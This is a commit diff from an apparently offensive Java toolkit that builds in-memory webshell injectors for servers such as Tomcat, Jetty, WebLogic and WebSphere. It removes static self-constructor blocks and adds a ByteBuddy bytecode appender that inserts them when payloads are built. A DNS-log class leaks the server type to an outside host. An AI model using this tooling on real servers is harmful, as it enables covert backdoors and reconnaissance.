refactor: rm static block for better life

This commit is contained in:
ReaJason
2025-08-13 23:53:40 +08:00
parent 3a10568346
commit 829b0e8be7
52 changed files with 49 additions and 220 deletions
@@ -17,10 +17,6 @@ import java.util.zip.GZIPInputStream;
*/
public class ApusicFilterInjector {
static {
new ApusicFilterInjector();
}
public ApusicFilterInjector() {
try {
List<Object> contexts = getContext();
@@ -15,9 +15,6 @@ import java.util.zip.GZIPInputStream;
* @since 2024/12/27
*/
public class ApusicListenerInjector {
static {
new ApusicListenerInjector();
}
public ApusicListenerInjector() {
try {
@@ -16,10 +16,6 @@ import java.util.zip.GZIPInputStream;
*/
public class ApusicServletInjector {
static {
new ApusicServletInjector();
}
public ApusicServletInjector() {
try {
List<Object> contexts = getContext();
@@ -17,10 +17,6 @@ import java.util.zip.GZIPInputStream;
public class BesFilterInjector {
Logger log = Logger.getLogger(BesFilterInjector.class.getName());
static {
new BesFilterInjector();
}
public BesFilterInjector() {
try {
List<Object> contexts = getContext();
@@ -6,7 +6,6 @@ import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
import java.util.logging.Logger;
import java.util.zip.GZIPInputStream;
@@ -14,12 +13,6 @@ import java.util.zip.GZIPInputStream;
* @author ReaJason
*/
public class BesListenerInjector {
static {
new BesListenerInjector();
}
Logger log = Logger.getLogger(BesListenerInjector.class.getName());
public String getClassName() {
return "{{className}}";
@@ -13,10 +13,6 @@ import java.util.zip.GZIPInputStream;
*/
public class BesValveInjector {
static {
new BesValveInjector();
}
public BesValveInjector() {
try {
List<Object> contexts = getContext();
@@ -22,10 +22,6 @@ import java.util.zip.GZIPInputStream;
*/
public class GlassFishFilterInjector {
static {
new GlassFishFilterInjector();
}
public String getUrlPattern() {
return "{{urlPattern}}";
}
@@ -13,10 +13,6 @@ import java.util.zip.GZIPInputStream;
*/
public class GlassFishValveInjector {
static {
new GlassFishValveInjector();
}
public GlassFishValveInjector() {
try {
List<Object> contexts = getContext();
@@ -16,10 +16,6 @@ import java.util.zip.GZIPInputStream;
public class InforSuiteFilterInjector {
Logger log = Logger.getLogger(InforSuiteFilterInjector.class.getName());
static {
new InforSuiteFilterInjector();
}
public InforSuiteFilterInjector() {
try {
List<Object> contexts = getContext();
@@ -17,10 +17,6 @@ import java.util.zip.GZIPInputStream;
public class JettyFilterInjector {
static {
new JettyFilterInjector();
}
public JettyFilterInjector() {
try {
List<Object> contexts = getContext();
@@ -20,10 +20,6 @@ import java.util.zip.GZIPInputStream;
*/
public class JettyListenerInjector {
static {
new JettyListenerInjector();
}
public JettyListenerInjector() {
try {
List<Object> contexts = getContext();
@@ -15,10 +15,6 @@ import java.util.zip.GZIPInputStream;
*/
public class JettyServletInjector {
static {
new JettyServletInjector();
}
public JettyServletInjector() {
try {
List<Object> contexts = getContext();
@@ -13,10 +13,6 @@ import java.util.zip.GZIPInputStream;
*/
public class ResinFilterInjector {
static {
new ResinFilterInjector();
}
public ResinFilterInjector() {
try {
List<Object> contexts = getContext();
@@ -15,9 +15,6 @@ import java.util.zip.GZIPInputStream;
* @author ReaJason
*/
public class ResinListenerInjector {
static {
new ResinListenerInjector();
}
public ResinListenerInjector() {
try {
@@ -14,10 +14,6 @@ import java.util.zip.GZIPInputStream;
*/
public class ResinServletInjector {
static {
new ResinServletInjector();
}
public ResinServletInjector() {
try {
List<Object> contexts = getContext();
@@ -19,10 +19,6 @@ import java.util.zip.GZIPInputStream;
*/
public class SpringWebFluxHandlerFunctionInjector {
static {
new SpringWebFluxHandlerFunctionInjector();
}
public String getUrlPattern() {
return "{{urlPattern}}";
}
@@ -22,10 +22,6 @@ import java.util.zip.GZIPInputStream;
*/
public class SpringWebFluxHandlerMethodInjector {
static {
new SpringWebFluxHandlerMethodInjector();
}
public String getUrlPattern() {
return "{{urlPattern}}";
}
@@ -21,10 +21,6 @@ import java.util.zip.GZIPInputStream;
*/
public class SpringWebFluxNettyHandlerInjector implements ChannelPipelineConfigurer {
static {
new SpringWebFluxNettyHandlerInjector();
}
public String getClassName() {
return "{{className}}";
}
@@ -21,10 +21,6 @@ import java.util.zip.GZIPInputStream;
*/
public class SpringWebFluxWebFilterInjector {
static {
new SpringWebFluxWebFilterInjector();
}
public String getClassName() {
return "{{className}}";
}
@@ -16,10 +16,6 @@ import java.util.zip.GZIPInputStream;
*/
public class SpringWebMvcControllerHandlerInjector {
static {
new SpringWebMvcControllerHandlerInjector();
}
public String getUrlPattern() {
return "{{urlPattern}}";
}
@@ -16,10 +16,6 @@ import java.util.zip.GZIPInputStream;
*/
public class SpringWebMvcInterceptorInjector {
static {
new SpringWebMvcInterceptorInjector();
}
public String getClassName() {
return "{{className}}";
}
@@ -22,10 +22,6 @@ import java.util.zip.GZIPInputStream;
*/
public class TomcatFilterInjector {
static {
new TomcatFilterInjector();
}
public String getUrlPattern() {
return "{{urlPattern}}";
}
@@ -18,10 +18,6 @@ import java.util.zip.GZIPInputStream;
*/
public class TomcatListenerInjector {
static {
new TomcatListenerInjector();
}
public TomcatListenerInjector() {
try {
List<Object> contexts = getContext();
@@ -21,10 +21,6 @@ public class TomcatProxyValveInjector implements InvocationHandler {
private Object rawValve;
private Object proxyValve;
static {
new TomcatProxyValveInjector();
}
public TomcatProxyValveInjector() {
try {
List<Object> contexts = getContext();
@@ -15,9 +15,6 @@ import java.util.zip.GZIPInputStream;
* @since 2024/12/15
*/
public class TomcatServletInjector {
static {
new TomcatServletInjector();
}
public TomcatServletInjector() {
try {
@@ -20,10 +20,6 @@ import java.util.zip.GZIPInputStream;
*/
public class TomcatValveInjector {
static {
new TomcatValveInjector();
}
public TomcatValveInjector() {
try {
List<Object> contexts = getContext();
@@ -18,10 +18,6 @@ import java.util.zip.GZIPInputStream;
*/
public class TomcatWebSocketInjector {
static {
new TomcatWebSocketInjector();
}
public TomcatWebSocketInjector() {
try {
List<Object> contexts = getContext();
@@ -19,10 +19,6 @@ import java.util.zip.GZIPInputStream;
public class TongWebFilterInjector {
Logger logger = Logger.getLogger(TongWebFilterInjector.class.getName());
static {
new TongWebFilterInjector();
}
public String getUrlPattern() {
return "{{urlPattern}}";
}
@@ -13,10 +13,6 @@ import java.util.zip.GZIPInputStream;
*/
public class TongWebListenerInjector {
static {
new TongWebListenerInjector();
}
public TongWebListenerInjector() {
try {
Set<Object> contexts = getContext();
@@ -13,10 +13,6 @@ import java.util.zip.GZIPInputStream;
*/
public class TongWebValveInjector {
static {
new TongWebValveInjector();
}
public TongWebValveInjector() {
try {
Set<Object> contexts = getContext();
@@ -14,11 +14,6 @@ import java.util.zip.GZIPInputStream;
* @author ReaJason
*/
public class UndertowFilterInjector {
static {
new UndertowFilterInjector();
}
public UndertowFilterInjector() {
try {
List<Object> contexts = getContext();
@@ -16,9 +16,6 @@ import java.util.zip.GZIPInputStream;
* @author ReaJason
*/
public class UndertowListenerInjector {
static {
new UndertowListenerInjector();
}
public UndertowListenerInjector() {
try {
@@ -16,9 +16,6 @@ import java.util.zip.GZIPInputStream;
* @since 2024/12/21
*/
public class UndertowServletInjector {
static {
new UndertowServletInjector();
}
public UndertowServletInjector() {
try {
@@ -14,10 +14,6 @@ import java.util.zip.GZIPInputStream;
*/
public class WebLogicFilterInjector {
static {
new WebLogicFilterInjector();
}
public String getUrlPattern() {
return "{{urlPattern}}";
}
@@ -25,10 +25,6 @@ public class WebLogicListenerInjector {
return "{{base64Str}}";
}
static {
new WebLogicListenerInjector();
}
public WebLogicListenerInjector() {
try {
Object[] contexts = getContext();
@@ -18,11 +18,6 @@ import java.util.zip.GZIPInputStream;
* @author ReaJason
*/
public class WebLogicServletInjector {
static {
new WebLogicServletInjector();
}
public String getUrlPattern() {
return "{{urlPattern}}";
}
@@ -19,11 +19,6 @@ import java.util.zip.GZIPInputStream;
* @author ReaJason
*/
public class WebSphereFilterInjector {
static {
new WebSphereFilterInjector();
}
public WebSphereFilterInjector() {
try {
List<Object> contexts = getContext();
@@ -22,10 +22,6 @@ public class WebSphereListenerInjector {
return "{{base64Str}}";
}
static {
new WebSphereListenerInjector();
}
public WebSphereListenerInjector() {
try {
List<Object> contexts = getContext();
@@ -15,11 +15,6 @@ import java.util.zip.GZIPInputStream;
* @since 2024/12/21
*/
public class WebSphereServletInjector {
static {
new WebSphereServletInjector();
}
public WebSphereServletInjector() {
try {
List<Object> contexts = getContext();
@@ -26,10 +26,6 @@ import java.util.zip.GZIPInputStream;
* @since 2025/1/21
*/
public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel> {
static {
new XxlJobNettyHandlerInjector();
}
public String getClassName() {
return "{{className}}";
}
@@ -9,10 +9,6 @@ import java.net.InetAddress;
public class DnsLogJdk {
public static String host;
static {
new DnsLogJdk();
}
public DnsLogJdk() {
String[] jdkInfos = getJdk().split("\\|");
String[] result = new String[]{
@@ -9,10 +9,6 @@ import java.net.InetAddress;
public class DnsLogServer {
public static String host;
static {
new DnsLogServer();
}
public DnsLogServer() {
try {
InetAddress.getAllByName("serverType." + getServer().toLowerCase() + "." + host);
@@ -11,10 +11,6 @@ import java.util.Set;
*/
public class GlassFishWriter {
static {
new GlassFishWriter();
}
public GlassFishWriter() {
try {
try {
@@ -10,11 +10,6 @@ import java.lang.reflect.Method;
* @since 2025/8/5
*/
public class JettyWriter {
static {
new JettyWriter();
}
public JettyWriter() {
try {
Thread thread = Thread.currentThread();
@@ -9,10 +9,6 @@ import java.lang.reflect.Method;
* @since 2025/8/8
*/
public class ResinWriter {
static {
new ResinWriter();
}
public ResinWriter() {
try {
ClassLoader loader = Thread.currentThread().getContextClassLoader();
@@ -7,11 +7,6 @@ import java.util.List;
import java.util.Set;
public class TomcatWriter {
static {
new TomcatWriter();
}
public TomcatWriter() {
try {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -7,11 +7,6 @@ import java.util.List;
import java.util.Set;
public class TongWebWriter {
static {
new TongWebWriter();
}
public TongWebWriter() {
try {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -10,11 +10,6 @@ import java.lang.reflect.Method;
* @since 2025/8/8
*/
public class UndertowWriter {
static {
new UndertowWriter();
}
public UndertowWriter() {
try {
Thread thread = Thread.currentThread();
@@ -9,10 +9,6 @@ import java.lang.reflect.Method;
* @since 2025/8/10
*/
public class WebLogicWriter {
static {
new WebLogicWriter();
}
public WebLogicWriter() {
try {
Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
@@ -11,9 +11,6 @@ import java.lang.reflect.Method;
* @since 2025/8/10
*/
public class WebSphereWriter {
static {
new WebSphereWriter();
}
public WebSphereWriter() {
try {
@@ -5,7 +5,7 @@ import net.bytebuddy.dynamic.DynamicType;
import java.lang.reflect.Field;
import static net.bytebuddy.matcher.ElementMatchers.isTypeInitializer;
import static net.bytebuddy.matcher.ElementMatchers.isDefaultConstructor;
/**
* JDK9 引入的 module 系统,只有主动声明 exports 的才能被外部访问。当前用于打破 module 的限制,使我们能像低版本一样任意反射获取方法
@@ -33,24 +33,12 @@ public class ByPassJavaModuleInterceptor {
* Reference1: <a href="https://stackoverflow.com/questions/62664427/can-i-create-a-bytebuddy-instrumented-type-with-a-private-static-final-methodhan">stackoverflow</a>
* Reference2: <a href="https://github.com/raphw/byte-buddy/issues/1153">issue</a>
* <br>
* 在静态代码块中执行 byPassJdkModule 代码
* 值得注意的一点,builder 是不可变类型,所以都是需要重新赋值,例如以下代码示例
* # code that not work
* builder = new Bytebuddy().redefine(class);
* builder.visit(something);
* builder.make();
* <br>
* # code that work
* <br>
* builder = new Bytebuddy().redefine(class);
* builder = builder.visit(something);
* builder.make();
*
* 在默认构造方法中执行 byPassJdkModule 代码
* @param builder bytebuddy builder
* @return new builder with bypass
*/
public static DynamicType.Builder<?> extend(DynamicType.Builder<?> builder) {
return builder.visit(Advice.to(ByPassJavaModuleInterceptor.class)
.on(isTypeInitializer()));
.on(isDefaultConstructor()));
}
}
@@ -0,0 +1,46 @@
package com.reajason.javaweb.buddy;
import net.bytebuddy.description.method.MethodDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.Implementation;
import net.bytebuddy.implementation.bytecode.ByteCodeAppender;
import net.bytebuddy.jar.asm.MethodVisitor;
import net.bytebuddy.jar.asm.Opcodes;
import static net.bytebuddy.matcher.ElementMatchers.isTypeInitializer;
/**
* 在静态代码块中添加构造方法调用例如:
* static {
* new Injector();
* }
*
* @author ReaJason
* @since 2025/8/12
*/
public class StaticBlockSelfConstructorCall implements ByteCodeAppender {
public static StaticBlockSelfConstructorCall INSTANCE = new StaticBlockSelfConstructorCall();
public static DynamicType.Builder<?> extend(DynamicType.Builder<?> builder) {
return builder
.invokable(isTypeInitializer())
.intercept(new Implementation.Simple(StaticBlockSelfConstructorCall.INSTANCE));
}
@Override
public Size apply(MethodVisitor methodVisitor,
Implementation.Context implementationContext,
MethodDescription instrumentedMethod) {
methodVisitor.visitTypeInsn(Opcodes.NEW, implementationContext.getInstrumentedType().getInternalName());
methodVisitor.visitInsn(Opcodes.DUP);
methodVisitor.visitMethodInsn(Opcodes.INVOKESPECIAL,
implementationContext.getInstrumentedType().getInternalName(),
"<init>",
"()V",
false);
methodVisitor.visitInsn(Opcodes.POP);
methodVisitor.visitInsn(Opcodes.RETURN);
return new Size(2, 2);
}
}